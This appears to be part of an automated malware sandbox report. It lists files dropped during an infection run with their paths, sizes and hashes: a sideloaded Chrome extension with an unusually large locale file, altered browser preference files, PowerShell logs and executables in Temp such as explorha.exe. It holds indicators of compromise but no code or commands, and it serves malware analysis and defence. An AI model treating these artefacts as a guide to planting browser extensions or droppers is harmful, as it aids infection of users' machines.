                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\da\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 146B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 d4de6ea622defe4a521915812a92d06d29065dacb889a9995a9e609bb02f2cfb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\de\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 155B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 14725b60e289582b990c6da9b4afcbef8063eb3414f9c6020023f4d2bac7bb1e
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\el\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 180B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 2e2ae3734b84565b2a6243fe4585dd6a0f5db54aae01fa86b6f522dd1ff55255
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 187B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_TO\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 2.1MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 db25e5a7869c05a0b27430c2cc39061b3c0112ec46a9a867f0257cdf585addb3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\et\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 161B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 ff9d868d50e291be9759e78316c062a0ec9bcbbb7c83b8e2af49a177dda96b22
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 136B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fi\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 151B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 6e13de5626ff0cb1c1f23b3dde137fcfc82f3420e88689b9e8d077ab356122ac
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fr\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 154B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 8f4ed00e79b8e990a32282eea13f8e1d0faa9cf8b21168643455b206e4e3d08c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\hu\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 161B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 b4b490e4fe6eb83b9e54f84c9f50e83866e78d0394bcb03353c6e61f76d1ac34
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\it\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 144B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 d6a6b8bb2706268726346d7cf12e2bc1e55dd9d730093de89d8962293b769cc0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\lt\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 160B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 e01b215a6ef7446522b2701fc72888944d551627a331a6378a5a0b5c402fdc65
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\lv\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 160B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 1ac599594e814cd69a4c7a8180d75fc8aad9c9af54e9411611b3c03a82947ef4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\mk\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 190B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 315e5ab70774f9b8247d3eae0a58e15bd3a32f8202e1f1b8ed90c2b2e633d865
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\nl\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 152B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 5895554b39c229627fdd2440f51ee87a6505056bde8e008746682738c42a307e
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\no\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 143B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 1dcd3f41f085df98beea4609c2a3c07f2796e909c8bb342225d0c14a2e37d32a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 150B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\ru\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 204B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 c28dbe7f5b5e95ecbeda2fbd517dab12e51810ae1e76079c2bcfd7738b7ae24c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sk\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 161B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 ee50762de69cb198e12982c1871ee4e7aaf1588b2dde683fe3946825c95adc73
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sl\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 145B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 5d12f8f83c157b62c22ccf5d66789855f9e08f63ca19890318ed3c6a9501538f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sq\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 154B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 22737aee22639043d8ab244e633a42e37e6ac7cccd2e4103b9f8fccfbcecd0d6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sv\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 147B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 d41042f78b7838b63ae141da4f4a7f67ea3f8e0fab66ea5111a1482867cf6e2f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\tr\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 156B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 606c5c1d88157b4eed536e26d14f456ca05b3fdf5f30d1e0e30a52aaf2bbbf37
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\uk\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 208B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 1faeed8ec9ba451ee06b42999695771fd8a400dd6e3a699b755824830852e4a0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ficon128.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\ficon128.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 6d38e0be2e6c189de3e4d739bae9986ee365a33baf99a9234e5c9effb44b791a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      icon128.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\icon128.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 3KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 2f5282c25c8829a21a79a120e3b097e5316ddbd0f866508b82e38766c7844dba
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      icon16.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\icon16.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 2KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 61b02a1fca992be08f1a3df547b29b424767d94702e4d99129c2f1ca2e67a113
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      icon48.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\icon48.png
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 3KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 e7cf247ccb1b365cd7a14fadd85686b83a9e7b7728590547b8466cafcea757ee
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      manifest.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 758B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 beb448da500d7a4550ec2dd3be7c9dfacf3baa158cc2fc31fdb36d0f7811e648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 13KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 fd9c8d167c92e180d964822ec851cbfe58726ea5c3bfe9b1cc3c871cbc0a0b05
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Secure Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 37KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 32c485e67eb26992b8db649544b743e1b22d87d6fdde2fd8e5ad2e8e848346dd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Secure Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 39KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 4415ef73e760b934618548793b6caf49e903d5bcc12c2a701f0ffe698e615949
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      powershell.exe.log
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 2KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 0725190ee120338da973024f3d633bd17d0009af194000fa0a91dde961a8d76c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 151B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 fb92690dc918afa6f50ee694c107b345c694913078c512858b45c2a87f0ec092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 5cce5977305ac5671bf7fc9a97907653a42791d98f8d9b5f24bf3d4014e5e008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      StartupProfileData-Interactive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 21KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 998f3e014dcd80002ae503d3639b0ad0fc92fb8224e6dc593eeab296ba08ae3f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      StartupProfileData-Interactive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 21KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 b0bc5931e3f5db79d153da870f930d29c4297909bf16ace32503b85ca9070c74
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 1.8MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 df4e254e505d90d3163acc12587747b34c8dd1d95b4bcb919bdd1901745c8a69
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      swiiiii.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 321KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 e9e09c5e5d03d21fca820bd9b0a0ea7b86ab9e85cdc9996f8f1dc822b0cc801c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
